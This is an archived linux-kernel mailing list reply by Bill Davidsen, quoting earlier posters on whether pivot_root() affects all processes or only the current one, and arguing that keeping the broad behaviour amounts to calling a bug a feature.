David Newall wrote: Philipp Marek wrote: AFAIK pivot_root() changes the / mapping for *all* processes, no? The manual page is confusing. It even admits to being intentionally vague. However the goal seems clear: pivot_root() moves the root file system of the current process to the directory put_old and makes new_root the new root file system of the current process -- man 2 pivot_root There's an argument that pivot_root could be improved... And very little argument that the man page could be improved, perhaps. However, there is no question that pivot_root is intended to have breadth for more than one process. Keeping this functionality sounds a little like putting a bow tie and tux on your bug and calling it a feature. Not all bugs are useless for legitimate purposes, but it doesn't make them safe. It appears to be a sort-of way to get per-process bind mounts. -- bill davidsen [EMAIL PROTECTED] CTO TMR Associates, Inc Doing interesting things with small computers since 1979 - To unsubscribe from this list: send the line unsubscribe linux-kernel in the body of a message to [EMAIL PROTECTED] More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
